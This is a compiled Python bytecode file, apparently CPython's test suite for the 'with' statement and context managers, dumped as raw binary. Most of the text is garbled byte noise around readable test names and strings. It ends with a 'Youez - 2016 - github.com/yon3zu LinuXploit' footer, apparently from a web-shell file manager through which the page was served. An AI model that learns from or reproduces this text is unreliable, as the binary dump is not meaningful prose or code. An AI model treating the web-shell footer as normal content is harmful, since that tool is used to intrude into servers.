oJPr�r)r�s rrj�7NonLocalFlowControlTestCase.testWithReturn.<locals>.foozsB���G���1���2�4�4��r�M�G�"�5�4�4�4���3��s�6�A	�A	)r�r#s& r�testWithReturn�*NonLocalFlowControlTestCase.testWithReturnys��	�	
������#rc�V�Qo[U22oUOU]]
,2P!)c3� �[29^tt^2]w�]
w�PPP2P!)%fhP!9h3h)�rrrr�gen�6NonLocalFlowControlTestCase.testWithYield.<locals>.gen�s&���.�0�0�����1�0�0�0�s�?�+�
?�<	�<	�	?)�listr�)rr�xs&  r�
testWithYield�)NonLocalFlowControlTestCase.testWithYield�s(��	�
���K������R��H�%rc��]oU]*
o[29^tt^2U]
*
o[g)%fhL9hS]d*
oSOQ2P![cSOS]2P!h9h)r�zDidn't raise RuntimeError)rCrLr�r�r�s& r�
testWithRaise�)NonLocalFlowControlTestCase.testWithRaise�sq����		3��q�L�G�.�0�0��2�
��"�"�1�0��
�s�N�G�
�I�I�1�2���	*����W�b�)�	*�s*�A�0�A	�A	�A�	B�)B�?Br)r*r+r,r-r�rrrrr.r/r@s@rr�r�as#����&�
&�	$�&�3�3rr�c�4`�\sQsQsnQsQsQsQsUsP!)�AssignmentTargetTestCase�c��],QN-o[29^tt^2U]*]$UO[UO22],2UOU]*]*O[
2PPP2[29^tt^2[UO
22]*]$UO[UO22],2UOU]*]*O[
2PPP2[29^tt^2U]$[UO22oUO2UOU]],2PPP2QQ2oU2o[29^tt^2UmUOUQ2PPP2P!)%fhCKE9h)%fhK�9h)%fhK|9h)%fhP!9h)rjc��\sQsQsQsP!)�;AssignmentTargetTestCase.testSingleComplexTarget.<locals>.C�r�r*r+r,r-r.rrr�Cr����rrrj�r�rj�)
rCr�r
�keysrr:�values�sortrj�
assertHasAttr)r�targetsr r�blahs&    r�testSingleComplexTarget�0AssignmentTargetTestCase.testSingleComplexTarget�sa���i�.��
*�
,�
,���
�1�
����T�'�,�,�.�1�A�3�7����W�Q�Z��]�4�4�l�C�-�+�
,�
,��W�^�^�5E�0F�q�0I�!�0L����T�'�,�,�.�1�A�3�7����W�Q�Z��]�4�4�l�C�-�+�
,�
,���
������'�D��I�I�K����T�A�q�6�*�-�	�
��s��
*�
,�
,������t�U�+�-�
,�-�
,�
,��-�
,��-�
,��-�
,�
,�sJ�A#F9�A:G
�+AG �G3�9G
	�G
	�
G	�G	� G0	�)G0	�3H	�<H	c�(�QQ2o],QN-oU29^tt^2vU]*]$U]*]$U]*]$UOU],QN-2PPP2U29^tt^2v[UO22]*]$[UO22]*]$[UO22]*]$UOU],QN-2PPP2U29^tt^2vU]$U]$U]$UOU]]]]]]-2PPP2QQ2oU2oU29^tt^2vUmUmUmUOUO]2UOUO]2UOUO
]2PPP2P!)%fhCKu9h)%fhK�9h)%fhK�9h)%fhP!9h)c�.`�\sQsQsnQsQsQsUsP!)�>AssignmentTargetTestCase.testMultipleComplexTargets.<locals>.C�c��Q!)rj�rjrr�rr s&rr�HAssignmentTargetTestCase.testMultipleComplexTargets.<locals>.C.__enter__�s���rc��P!rr�r�t�v�tbs&&&&rr#�GAssignmentTargetTestCase.testMultipleComplexTargets.<locals>.C.__exit__�s��$rrr�r@s@rrr*�s����/�.�.rrc��\sQsQsQsP!)�>AssignmentTargetTestCase.testMultipleComplexTargets.<locals>.B�rrrrr�Br6�rrr8rr-)r�rrj)r�r
r!�one�two�three)rrr$r8r%s&    r�testMultipleComplexTargets�3AssignmentTargetTestCase.testMultipleComplexTargets�s���	/�	/��i�.��
�S�S�A�W�Q�Z��]�G�A�J�q�M�7�1�:�a�=����W�q�)�n�5��
�S�S�n�T�'�.�.�*�+�A�.�q�1�4����8H�3I�!�3L�Q�3O�QU�V]�Vd�Vd�Vf�Qg�hi�Qj�kl�Qm����W�q�)�n�5��
�S�S�8�W�Q�Z����W�Q�Z����W�q�!�Q��1�a�&8�9���
��s��
�S�S�4�T�X�t�x������T�X�X�q�)����T�X�X�q�)����T�Z�Z��+��S��S�S��
�S��
�S���S�S�sI�9G�1A>G�&G-�A(H�G	�G	�G*	�#G*	�-G=	�6G=	�H	�	H	c���[[]]229^tt^2CuqoUOU]2UOU]],2UOU]2PPP2P!)%fhP!9hri)r�ranger�r�s&   r�testWithExtendedTargets�0AssignmentTargetTestCase.testWithExtendedTargets�s\��
��q�!��
%�
%��!�����Q��"����Q��A��'����Q��"�&�
%�
%�
%�s�<A%�%A6	�.A6	r)	r*r+r,r-r&r<r@r.r/r@s@rrr�s����,�",�$#�#rrc�.`�\sQsQsnQsQsQsUsP!)�ExitSwallowsExceptionTestCase��c���QQ2oU29^tt^2]]*PPP2P!)%fhP!9h[cSOQ2P!h9h)c�.`�\sQsQsnQsQsQsUsP!)�SExitSwallowsExceptionTestCase.testExitTrueSwallowsException.<locals>.AfricanSwallow��c��P!rrr s&rr�]ExitSwallowsExceptionTestCase.testExitTrueSwallowsException.<locals>.AfricanSwallow.__enter__����rc��P	!rrr0s&&&&rr#�\ExitSwallowsExceptionTestCase.testExitTrueSwallowsException.<locals>.AfricanSwallow.__exit__�s��rrr�r@s@r�AfricanSwallowrG�s����%�5�5rrNz,ZeroDivisionError should have been swallowed)rlr�)rrNs& r�testExitTrueSwallowsException�;ExitSwallowsExceptionTestCase.testExitTrueSwallowsException�sN��	6�	6�	F��!�!��!��"�!�!�!�� �	F��I�I�D�E�	F�s5�A�
0�A�A	�A	�A�A�	A$�A$�#A$c���QQ2oU29^tt^2]]*PPP2UOQ2P!)%fhK#9h[cP!h9h)c�.`�\sQsQsnQsQsQsUsP!)�ZExitSwallowsExceptionTestCase.testExitFalseDoesntSwallowException.<locals>.EuropeanSwallow��c��P!rrr s&rr�dExitSwallowsExceptionTestCase.testExitFalseDoesntSwallowException.<locals>.EuropeanSwallow.__enter__�rKrc��P
!rrr0s&&&&rr#�cExitSwallowsExceptionTestCase.testExitFalseDoesntSwallowException.<locals>.EuropeanSwallow.__exit__�s��rrr�r@s@r�EuropeanSwallowrS�s����%�6�6rrYz)ZeroDivisionError should have been raised)r�rl)rrYs& r�#testExitFalseDoesntSwallowException�AExitSwallowsExceptionTestCase.testExitFalseDoesntSwallowException�sP��	7�	7�	C� �"�"��!��#�

�I�I�A�B�#�"�� �	��	�s3�A�
A�A�A	�
A	�A�	A#�A#�"A#r)r*r+r,r-rOrZr.r/r@s@rrCrC�s����F�
C�
CrrCc�`�\sQsQsnQQ\2sQQ\2sQQ\2sQQ	\2sQ
s	Qs
QsQ
sQs
QsQsUsP!)�
NestedWith��c�8`�\sQsQsnQQksQsQsQsUsP!)�NestedWith.Dummy��c�H�UeSoVmV mP
UmP
UmP!r)r&�gobblerr)rr&rcs&&&rr�NestedWith.Dummy.__init__�s&���}����J� �K� %�D��$�D�rc�*�P	UmUO!r)rr&r s&rr�NestedWith.Dummy.__enter__�s�� $�D���:�:�rc�J�P	UmVmUO%cP	!P!r)rrPrcrcs&*rr#�NestedWith.Dummy.__exit__�s ��#�D��$�M��{�{�{��r)rrPrrcr&)NFr[r@s@r�Dummyr`�s����	%�	�	�	rric�(`�\sQsQsnQsQsUsP!)�NestedWith.InitRaises��c��[2grr�r s&rr�NestedWith.InitRaises.__init__�s	��,�.�0rrr?r@s@r�
InitRaisesrk�s����0�0rroc�.`�\sQsQsnQsQsQsUsP!)�NestedWith.EnterRaises�c��[2grr�r s&rr� NestedWith.EnterRaises.__enter__�s	��<�>�1rc��P!rrrcs&*rr#�NestedWith.EnterRaises.__exit__�s��trrr�r@s@r�EnterRaisesrq�s����1�+�+rrwc�.`�\sQsQsnQsQsQsUsP!)�NestedWith.ExitRaises�c��P!rrr s&rr�NestedWith.ExitRaises.__enter__�s��Trc��[2grr�rcs&*rr#�NestedWith.ExitRaises.__exit__�s	��\�^�';rrr�r@s@r�
ExitRaisesry�s����!�;�;rrc	��UO29^tt^2pO29^tt^2oUOUO2UOUO2PPP2PPP2UOWO2UOWO2P!)%fhKP9h)%fhK[9hr)rir�rr)rr�r�s&  r�testNoExceptions�NestedWith.testNoExceptions�so��
�Z�Z�\�\�Q�
�
�����O�O�A�N�N�+��O�O�A�N�N�+�!-�\�	
����
�
�&�����
�
�&�	!-���\�\�s.�C�7B1	�)C�1C
�:C
�<C�C	�
C	c	�h�UO29^tt^2pO29^tt^2PPP2PPP2UOWO2UOUO
2P!)%fhKP9h)%fhK[9h[cKkh9hr)rirorLr�rr�rr�s& r�testExceptionInExprList�"NestedWith.testExceptionInExprListsi��	�������O�O�$5�$5��%6��	
������'�����
�
�&�%6�$5������	��	�sU�B#�B�A=	�B�B#�=B

�B

�B�B 	�B 	�B#� B#�#	B1�-B1�0B1c	��UO29^tt^2pO29^tt^2UOQ2PPP2PPP2UOQ2UO	WO
2UO	UO2P!)%fhKa9h)%fhKl9h[cKkh9h)zbody of bad with executedzRuntimeError not reraised)rirwr�rLr�rrr�s& r�testExceptionInEnter�NestedWith.testExceptionInEnters���	3�������$4�$4�$6�$6��	�	�5�6�%7��

�I�I�1�2�������'�����
�
�&�%7�$6������	��	�sQ�C�B1�B	�B1�
C�B.
�'B.
�)B1�1C	�:C	�<C�	C�C�Cc	��P
oUOP	Q59^tt^2p O29^tt^2P	oPPP2PPP2UOWO2UOUO2UOU2UOUO]*P2P!)%fhK�9h)%fhK�9h)F)rc)rirr�rr�assertNotEqualrP)r�
body_executedr�s&  r�testExceptionInExit�NestedWith.testExceptionInExits����
�
�Z�Z�t�Z�
$�
$��?�?�+<�+<� �M�,=�
$�������'�����
�
�&����
�&����A�J�J�q�M�4�0�,=�+<��
$�
$�s-�C�B5	�C�5C
�>C
�C�C	�C	c	�z�UOQQ59^tt^2vqUOQQ59^tt^2vq4UO]U2UO]U2UO]
U2UO]U2PPP2PPP2P!)%fhK9h)%fhP!9h)rj)r&)rjr)�
�)rir�)r�a1�a2�b1�b2s&    r�testEnterReturnsTuple� NestedWith.testEnterReturnsTuple#s���
�Z�Z�e�Z�
$�
$���
�Z�Z�h�Z�
'�
'�8�B����Q��#����Q��#����R��$����R��$�	(�%�
$�
'�
'��%�
$�
$�s/�B)�AB	�B)�B&
�B&
�!B)�)B:	�2B:	c
�v`�U1QkoU1QkoU1QkoUQ1UQ1UQ11FD�vqEROU29^tt^2U2o[OUO2]*o]oUOo	ROUOU	O]*2ROUOU	O]*2ROUOUOU*
UOU*
U2PPP2CJ	P!)%fhCJ9h)c�|:�RO29^tt^2RO29^tt^2oRO29^tt^2oPPP2PPP2PPP2P!)%fhK"9h)%fhK-9h)%fhP!9h[c
oStPo=!Po=hh9hr)riro�	Exception)rb�drYrs   �r�init_raises�5NestedWith.testExceptionLocation.<locals>.init_raises2sd���
��Z�Z�\�\�4�?�?�#4�#4��D�J�J�L�L�A��=I�#4�\�\�L�L��#4�#4��\�\�\���
����
�s��B$�B�A=	�A*
�A=	�B� B$�*A:�3A:�5A=	�=B

�B

�B�B!	�B!	�B$�!B$�$	B;�.B;�/B6�0B;�6B;c	�:�RO29^tt^2RO29^tt^2oPPP2PPP2P!)%fhK9h)%fhP!9h[c
oStPo=!Po=hh9hr)rwrir��r�rYrs  �r�enter_raises�6NestedWith.testExceptionLocation.<locals>.enter_raises9sT���
��%�%�'�'��������*6�'�'����'�'�'���
����
��a�A0�A�A		�A�A0�	A
�A
�A�A-	�%A-	�'A0�-A0�0	B�:B�;B�<B�Bc	�:�RO29^tt^2RO29^tt^2oPPP2PPP2P!)%fhK9h)%fhP!9h[c
oStPo=!Po=hh9hr)rrir�r�s  �r�exit_raises�5NestedWith.testExceptionLocation.<locals>.exit_raises@sR���
��_�_�&�&��
�
�����)5�&�&����&�&�&���
����
�r�zself.InitRaises()zself.EnterRaises()zself.ExitRaises())�subTestr'�
extract_tbrW�__code__r��lineno�co_firstlineno�
end_lineno�line�colno�	end_colno)
rr�r�r�r5�expected�exc�f�indent�cos
f         r�testExceptionLocation� NestedWith.testExceptionLocation+s���	�	�	�!,�-@�A� ,�.B�C� +�-@�A� �N�D����d�#�#��f���(�(��):�):�;�A�>�����]�]��� � ����2�+<�+<�q�+@�A�� � ����r�/@�/@�1�/D�E�� � �������&�(8�1�;�;��;O�!P�!)�+�$�#�	 �$�#�#�s�CD&	�&D8
�/D8
r)r*r+r,r-r�rirorwrr�r�r�r�r�r�r.r/r@s@rr]r]�sX�������&1�V�1�,�f�,�<�V�<�'�'�	'�1�%�(+�(+rr]c�(`�\sQsQsnQsQsUsP!)�InterruptDuringEnter�Vc��[2oUOUO22U9^tt^2UOUO22PPP2UOQ2P!)%fhK#9h[c$SOSO22P!SOQ2Kg9h)NzWrong exception raisedzNo exception raised)rr��withinr��KeyboardInterruptr�)rrbs& r� test_exit_called_after_interrupt�5InterruptDuringEnter.test_exit_called_after_interruptXs���
+�
-���������%�	0�������	�	��,��	
�	�	�'�(���� �	����R�Y�Y�[�)��	0��I�I�.�/�s:�
B� A1�B�1B	�:B	�<B�B�	C� C�1Cr)r*r+r,r-r�r.r/r@s@rr�r�Vs����)�)rr��__main__)$�
__author__�	__email__r{rOr'�unittest�collectionsr�
contextlibrrr�_testinternalcapirrrrr8r�r:rCrEr]�TestCaserfr�rr7r\r�rrCr]r�r*�mainrrr�<module>r�sa���
�#�	�	�
����L�L�<�
�

�
C�1�C�$��6������!�V�!�H0��0�"5�h�'�'�5�D,0�6�,0�^1<�X�.�.�0L�1<�h?B�8�#4�#4� �?B�D@9�6��8I�8I�@9�F63�(�"3�"3�63�r)#�x�0�0�)#�XC�H�$5�$5�C�2t+��"�"�t+�n
)�8�,�,�
)� �z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit